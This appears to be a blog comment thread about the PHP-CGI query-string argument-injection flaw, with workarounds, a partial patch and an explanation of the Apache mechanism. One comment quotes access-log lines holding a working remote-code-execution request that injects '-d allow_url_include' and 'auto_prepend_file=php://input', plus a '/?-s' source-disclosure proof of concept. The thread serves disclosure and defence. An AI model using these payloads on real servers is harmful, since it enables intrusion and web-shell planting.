Since the problem is that ?-s gets passed to the php-binary as ‘-s’
the next scenario might be a workaround
make sure all php-cgi calls are going thru the next script
safe-php.sh
#!/bin/sh
exec /path/to/php — “$@”
the ‘–’ as first paramater tells php to treat the other parameters as plain parameters
i.e. *NOT* as options
this way ?-s gets passed to the php-binary as ‘–’ ‘-s’
just my 2 cents
Why not just remove the “$*” from the wrapper?
My cgi-wrapper looks like this:
#!/bin/shexec /usr/bin/php5-cgi
and the exploit doesn’t work with it.
That above patch, I can’t find this line in php 5.2.13:
line 1552 is:
if (!fastcgi) {
>>> /* Make sure we detect we are a cgi – a bit redundancy here,
* but the default case is that we have to check only the first one. */
if (getenv(“SERVER_SOFTWARE”) ||
Index: sapi/cgi/cgi_main.c
===================================================================
— sapi/cgi/cgi_main.c (revision 322984)
+++ sapi/cgi/cgi_main.c (working copy)
@@ -1552,7 +1552,7 @@
}
}
- while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0, 2)) != -1) {
牛逼闪闪啊!!
Apache’s passing of
http://.../foo.php?-sas command-line arguments to a CGI script is harmless in the case of a normal CGI script (AddHandler cgi-script .php) with#!/usr/bin/php. Ahttp://.../foo.php?-srequest will result in Apache exec’ing/usr/bin/php /.../foo.php -s, which PHP handles correctly (the -s will just show up harmlessly invar_dump($argv);).The issue is with use of Apache
Action ... /cgi-bin/...; in this case, Apache will actually run the php-cgi binary (/usr/lib/cgi-bin/php) as a CGI script, with the actual .php script to execute in environ:PATH_INFO=$foo.php REDIRECT_HANDLER=foobar /usr/lib/cgi-bin/php -s.The php-cgi binary will magically take the script to execute from
PATH_INFO(environ), checking for the presence of Apache’s magicREDIRECT_HANDLERenvvar. In this situation, the possiblehttp://.../foo.php?...arguments are still passed by Apache directly to the /usr/lib/cgi-bin/php executable, which “incorrectly” applies them to the script it is given by Apache in PATH_INFO, causing the vulnerability.Strictly speaking, the placement of an interpreter binary into cgi-bin (/i.e. /usr/lib/cgi-bin/php) is a 1996 vulnerability: http://www.cert.org/advisories/CA-1996-11.html
The php-cgi binary just has some crazy apache-specific hacks (
./configure --force-cgi-redirect) in it to kinda make it safe to use with ‘Action php-script /cgi-bin/php’ -style passthrough. Given the convulted contortions that php-cgi has to go through to have it work, and the obscure circumstances of apache’s query string -> cgi argv passthrough, it’s no wonder there was an oversight with the argv handling: http://www.php.net/manual/en/security.cgi-bin.attacks.phpstop hacking CTF scoreboards!
haha nice find !
I believe my server is vulnerable to this but I’m not sure. Here are some example SUCCESSFUL exploits I found in my log files that leads me to believe that the server IS vulnerable. But the problem is, how am I going to know its fixed if I cant even reproduce the exploit myself?
On one of my sites I found many “trojaned” php files with shell scripts in them. I narrowed it down to the originating IP which has also been associated with this cgi exploit. In the below log files, you can see that someone comes in, tries to exploit the server using the CGI issue and then immediately afterwards you can see 2 more POST calls, one to wp_info.php (WHICH IS NOTE A FILE THAT WAS ON THE SITE!), so somehow this file was uploaded with the previous URL hit from 85.114.141.40. All it contained was a simple eval() to evaluate anything in $_POST. Its a simple 1 line shell. Then you can see that .cache_xqujmn.php file requested with “GET”. This also is NOT a file that existed previously, it’s contents were of a very large shell script. Does all kindsa funky stuff. Then another POST call to wp_info.php.
ALL of this happened in a time span of 2 seconds. So this means that somehow the first URL was able to upload wp_info.php and it used that as a jumping off point to add a more advanced shell script. The more advanced script then went and added itself to 17 more random files through out the site. The interesting part is that this attack hit TWO of my websites, and they both got hit TWICE (once from 85.114.141.40 and again from 177.8.168.3). These appeared to be separate attacks from different people as the one from 177.8.168.3 ALSO dropped another file called php_info.php, which just like wp_info.php was a simple 1 liner call to eval() on $_POST.
So I am about 99% sure my setup is insecure because of this exploit, but before I can actually say “there, it’s fixed”, I need to be able to exploit it myself so that when I try to exploit it AFTER the fix, I can actually see that it is closed and doesnt work. Where is the PoC? I really need this to get this issue resolved properly.
access.log:85.114.141.40 – - [16/May/2012:06:37:27 -0600] “POST //?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input+-d+safe_mode%3d1+-d+suhosin.simulation%3d1+-d+disable_functions%3d%22%22+-d+open_basedir%3dnone+-n HTTP/1.1″ 200 1701 “-” “-”
access.log:85.114.141.40 – - [16/May/2012:06:37:27 -0600] “POST /wp_info.php HTTP/1.1″ 200 – “-” “Mozilla/4.0 (Linux; U; Windows NT 5.0; ja; rv:1) Gecko/20120130 Firefox/5.6a1pre”
access.log:85.114.141.40 – - [16/May/2012:06:37:28 -0600] “GET /.cache_xqujmn.php HTTP/1.1″ 200 120 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2a1pre) Gecko/20090403 Firefox/3.6a1pre”
access.log:85.114.141.40 – - [16/May/2012:06:37:28 -0600] “POST /wp_info.php HTTP/1.1″ 200 – “-” “Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1) Gecko/20110403 Firefox/3.6a1pre”
Hmm, the easiest PoC that I was able to come up with on my own is simply /?-s it will show the PHP source of the file you requested. Why is this missing from the CVE? It would be extremely useful and was a pain to figure out on my own.
O ya, BTW, it should be noted that my particular installed was running PHP 5.2.14! This means that ALL 5.2.x servers are COMPLETELY vulnerable and there is NO support for 5.2.x from PHP any longer. Thus, no patches forthcoming for 5.2. Let the worms commence! There are still a lot of cgi 5.2′s installed out there somewhere. Its only a matter of time before they are found and sending us all spam from nigeria.
I’m a total noob at this but does this mean that anyone who runs an apache server is vulnerable to attacks just by passing $ arguments to the server through e.g. a simple webform? Just use some $ values in the textboxes, send the form and you could mess with the server?